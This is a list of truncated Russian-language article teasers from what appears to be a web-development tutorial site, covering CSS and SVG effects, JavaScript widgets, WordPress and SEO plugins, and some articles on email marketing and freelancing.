этот необычный эффект строится на двухслойности: нижний слой желтый, а верхний - синий. двигая мышкой слева направо, вы постепенно убираете верхний ...
сделать на css красивую градиентную тень вместо обычной серовато-черного цвета? это никакая не сверхзадача, css легко с этим справляется. создание ...
как можно получить красивый эффект анимации градиента, если в css-коде не используются вообще градиенты? испытаем данный трюк на loader. создание ...
4) позиционирование инпута и текста .list ul label{     position: relative; / * относительное позиционирование * /     display: flex; / * отображать ...
обычно форма поиска как минимум состоит из двух полей input: это текстовое поле, куда пользователь вводит ключевое поисковое слово и кнопки "поиск". ...
шаг 1) создание html-разметки сделать кнопку можно разными способами: через тег button, div или a. я предпочитаю сделать это сразу через ссылку a, поскольку ...
продолжаем предыдущую статью о том, как составить продающее письмо.     упростите отмену подписки. согласно законодательству, ...
прозрачная форма на фоне какого-нибудь девственного пейзажа - любимая тема веб-дизайнеров. как верстать такую форму? с этим нам предстоит сегодня ...
css свойство align-items управляет элементами по вертикали в системе grid layout. на этом уроке, вы увидите все возможные варианты расположения элементов ...
из этого урока вы узнаете как создать навигационное меню с иконками и hover-эффектом, используя библиотеку font awesome на чистом css. 1) подключить библиотеку ...
на этом уроке вы узнаете, как сделать градиентную рамку с размытыми краями для блоков. данный css-эффект построен на градиентах, заданных псевдоэлементам. ...
на чистом css можно создавать интересные и оригинальные "спецэффекты", один из которых мы сейчас подробно разберем. у нас есть список пунктов ...
главнейшим инструментом для заработка в интернет-маркетинге является e-mail рассылка. совершенно не важно, продаете ли вы собственные товары ...
с помощью css селекторов мы выбираем какие конкретно элементы на сайте стилизовать. о чем нам говорит эта запись? h1 { color: red; } = селектор { свойство: ...
уже трудно себе представить современные сайты без иконок и вообще без графики. вся графика, которую мы видим на сайтах может быть растровой ...
при помощи svg фильтра fegaussianblur можно размыть какую-нибудь область на фотографии, ограничив ее блоком любой формы и с любым оформлением. на размытой ...
формат svg дает новые возможности для рисования различных фигур и анимирования их. сегодня мы рассмотрим svg hover эффект на кнопку. создадим внешний ...
различные hover эффекты на кнопках служат для привлечения внимания пользователей, чтобы побудить их к активным действиям. сегодня мы рассмотрим, ...
сегодня мы рассмотрим простой, но интересный эффект появления рамки из центра, при наведении на кнопку. в качестве объекта наведения может быть ...
дефолтное подчеркивание ссылок дефолтное подчеркивание ссылок в html выглядит очень скучно и непривлекательно. стандартные ссылки имеют синий ...
для создания простенького параллакс эффекта вполне можно обойтись и без использования сторонних плагинов и библиотек. более того, для реализации ...
шорткод woocommerce - это короткий код для вывода товаров, страниц и категорий. при запуске короткий код развернется в полноценный код. шорткоды woocommerce ...
сегодня поговорим о том, как сделать анимацию чисел на сайте - полезный эффект увеличения чисел, который часто можно увидеть на лендингах. данный ...
в первой части урока мы сверстали логотип и меню для десктопных устройств. во второй части урок нарисовали и запрограммировали кнопку гамбургер. ...
на этом уроке мы научимся рисовать речевые и мыслительные выноски, которые применяются в комиксах. нередко подобный комиксовый стиль можно ...
продолжаем делать выезжающее боковое меню по клику, в первой части урока была сделана html-разметка, стилизованы все селекторы, теперь осталось ...
многие люди не имеют четкого представления, что такое «удаленка» и что такое фриланс. а некоторые вообще пребывают в полной уверенности, ...
на прошлом уроке мы разобрались, зачем нужна библиотека jquery ui и как её подключить. на этом уроке подробнее остановимся на виджете slider. речь идёт ...
сегодня мы поговорим о сервисе icomoon, который позволяет создавать шрифтовые иконки для различных проектов. что же это за шрифты и в чем их преимущества? ...
на этом уроке я покажу, как буквально за считанные минуты можно бесплатно сделать гифку из видео с помощью онлайн-сервиса giphy. работать с данным ...
что такое микроразметка сайта микроразметка - это разметка веб страниц с использованием специальных атрибутов и тегов, которые помогают структурировать ...
сегодня мы поговорим о том, как использовать простую javascript библиотеку, которая строит несложные графики в формате svg. библиотека morris.js позволяет ...
сегодня мы разберем 3 основных способа выравнивания блоков по ширине с помощью css. 1. выравнивание блоков на flexbox на данный момент способ выравнивания ...
на данном уроке мы познакомимся с технологией drag-and-drop, дословный перевод тяни и бросай. задача реализуется путем захвата элемента и перемещения ...
на этом уроке мы научимся выводить на странице значения координат (x, y) курсора, в момент движения мыши внутри блока с помощью javascript. определение ...
всем частным компаниям или государственным организациям необходимо размещать в контактах карту их местоположения. поисковая система google, ...
где на сайте можно использовать угловую ленту? например ленту можно добавить на блок с ценами, скидками, подарками или украсить карточку с лучшим ...
любой веб-разработчик в ежедневной рутине сталкивается с шаблонами и макетами, состоящие из определенного набора компонентов. большая часть ...
на этом уроке мы с вами нарисуем первую букву логотипа google, используя css свойство border и псевдоэлемент. цвет логотипа google первым делом определим, ...
на этом уроке создадим тест с вопросами и полями для ввода ответов для дальнейшего размещения на сайте. вопросы и ответы теста хранятся в последовательно ...
в статье про то, как сделать скошенные углы на css, мы разобрали только два кроссбраузерных способа. однако есть ещё и третий способ (через свойство ...
наверняка вы много раз видели на сайтах, как фоновая картинка при прокрутке вниз плавно уменьшалась в размерах до полного исчезновения, чтобы ...
существует несколько способов создания блоков со скошенными углами на css. блоки со скошенными углами можно использовать для секций или для ...
вам срочно нужна на сайт всплывающая форма, но вы ещё не дружите с javascript? тогда стоит внимательно изучить этот урок, чтобы понять в чем заключается ...
на этом уроке мы разберем три разных эффекта при наведении на кнопку. посмотрите демо на codepen html разметка создадим в разметке три разных ...
вначале урока по созданию иконки юзера, мы выяснили, почему лучше предпочесть иконки на css, против готовых шрифтовых. на этом уроке, мы научимся ...
чем это хорошо самостоятельно рисовать иконки на чистом css, когда можно за считанные минуты найти любую иконку на иконочных сервисах и вставить ...
к рамке любого элемента на странице может быть применена css анимация. на этом уроке мы создадим keyframe анимацию рамки. посмотрите демо на codepen ...
fancybox 3 это универсальный плагин, использующий возможности библиотеки jquery для быстрой вставки медиа-контента на сайте в виде галереи. в этой ...
css свойство transform-origin позволяет задать местоположение точки, относительно которой происходит трансформация (смещение, деформация, вращение, ...
на этом уроке мы с вами научимся, как быстро и легко сделать на сайте симпатичный анимированный фон. для этого нужно подключить и настроить замечательный ...
на этом уроке вы узнаете, как на языке javascript сделать простой спойлер. спойлер на сайте - это скрытая часть контента, которая будет скрыта до тех ...
на этом уроке вы узнаете, как на языке javascript показать и скрыть любой элемент на сайте, кликнув по кнопке. html структура в html разметке присутствует ...
на этом уроке мы реализуем интересный эффект с фокусировкой размытого фона и размытия изображения при наведении в css. при наведении на элемент ...
для начинающих верстальщиков проблематика не прижатого футера, какое-то время может быть не очевидна. когда контента хватает на всю высоту ...
для чего нужен движок unreal engine unreal engine - это бесплатный и кроссплатформенный игровой движок, разрабатываемый и поддерживаемый компанией epic ...
продолжаем разбирать настройки плагина yoast seo, здесь первая часть статьи. отображение в поисковой выдаче / медиа когда вы загружаете медиафайл, ...
конструктор яндекс карт независимо от этого куда вы в дальнейшем будете вставлять яндекс карту, первый шаг всегда начинается с конструктора ...
на этом уроке разберем настройки популярного yoast seo плагина (версия 15.4) для использования в онлайн-магазинах, работающих на основе woocommerce плагина. ...
в этой статье вы узнаете о шаблонных строках в javascript, которые упрощают работу со строками. до es6 мы использовали только одинарные кавычки ...
на этом уроке мы сделаем меню с красивым эффектом при наведении с использованием псевдоэлементов - :after и :before. что такое псевдоэлементы, мы очень ...
в прошлой статье мы рассмотрели с вами как установить visual studio 2019. а в этой непосредственно приступим к разработке первого приложения на c#. ...
на этом уроке мы научимся делать простой hover эффект для кнопки с помощью псевдокласса :nth-child. на кнопке есть текст - button, при наведении курсора ...
доброго времени суток! перед тем как начать программировать на c#, вам необходимо установить интегрированную среду разработки visual studio community. ...
на этом уроке мы сделаем всплывающую подсказку при наведении на иконку на чистом css. точно такой же принцип можно применить к картинке. перейдите ...
на этом уроке, мы сделаем таймер обратного отсчета на javascript, используя уже готовую верстку на html и css. если на странице вашего сайта или лендинга ...
градиент - это плавный переход от одного цвета к другому. в веб-дизайне мы часто сталкиваемся с фоновыми и интерфейсными градиентами и намного ...
что вообще должно происходить с этими кнопками и карточками товаров? при клике пользователя по черной кнопке, на сайте должны остаться только ...
у вас на руках есть готовый дизайн для футболки. что с ним делать дальше? как получить готовый продукт в свой интернет-магазин? для начала нужно ...
чтобы сделать свою версию этого дизайна, на первых порах вам не нужен photoshop и дизайнерские навыки. простые вещи можно сделать легко и быстро, ...
интригующее название «заработок на продаже товара, которого у вас нет нет» никакая не мошенническая схема, а вполне реальный бизнес. который ...
что такое a/b тестирование сайта a/b тестирование - это сравнение двух страниц с разным дизайном, но в одинаковых условиях, чтобы выяснить какая ...
заказчики лэндингов часто просят сделать маску ввода телефона, желая таким образом задать определённый стандарт вводимых номеров клиентами. ...
не всякий раз верстка бесплатных макетов в учебных целях, хорошая идея. такое занятие требует много времени и высока вероятность, что вам быстро ...
на этом уроке я покажу вам как сделать очень необычный текстовый эффект, применяя чистый css. для этого потребуется большая фотография в качестве ...
на этом уроке я покажу вам как реализовать такой hover эффект, как плавное подчеркивание ссылки при наведении. подчеркивающая линия будет появляться ...
наверняка вы много раз видели на разных сайтах - пульсирующую кнопку с иконкой телефонной трубки. это достаточно эффективный прием, побуждающий ...
использовать на сайте иконки font awesome очень просто и для этого совсем не надо быть дизайнером. даже если вы не подберёте себе нужную иконку из ...
на прошлом уроке мы начали делать адаптивное меню для сайта, наше меню хорошо смотрится на больших и средних экранах, но при уменьшении размеров, ...
использовать или нет на сайте прелоадер - вопрос индивидуальный. например для одностраничника, с минимальным количеством графики и изображений, ...
продолжим разбор с ошибок при верстке сайта, которые допускают начинающие верстальщики. рекомендую начать с первой и второй части статьи, если ...
уже трудно себе представить современный сайт без иконок соц. сетей и мы их видим на большинстве сайтах. откуда же берутся эти иконки? насчет ...
на этом уроке продолжим разбор ошибок начинающих верстальщиков. первые две ошибки были связаны с использованием строчных и блочных элементов. ...
в css grid можно позиционировать отдельно взятую ячейку (grid item), как по оси x, так и по оси y. поэтому, все рассматриваемые css свойства будут относиться ...
жизнь не стоит на месте и вот в очередной нас порадовали разработчики самого популярного css-фреймворка bootstrap. наконец-то вышла новая версия bootstrap ...
на этом уроке мы рассмотрим один из вариантов создания анимации на javascript, через функцию requestanimationframe. по большому счету существует два способа, ...
плагин eslint - это лучший помощник для отлавливания ошибок в процессе написания javascript кода. предупреждая нас о них прямо на лету в редакторе кода. ...
ни в коем случае нельзя бездумно создавать на сайте анимации, просто ради анимации. как говорится, медицинский совет "не навреди", здесь вполне ...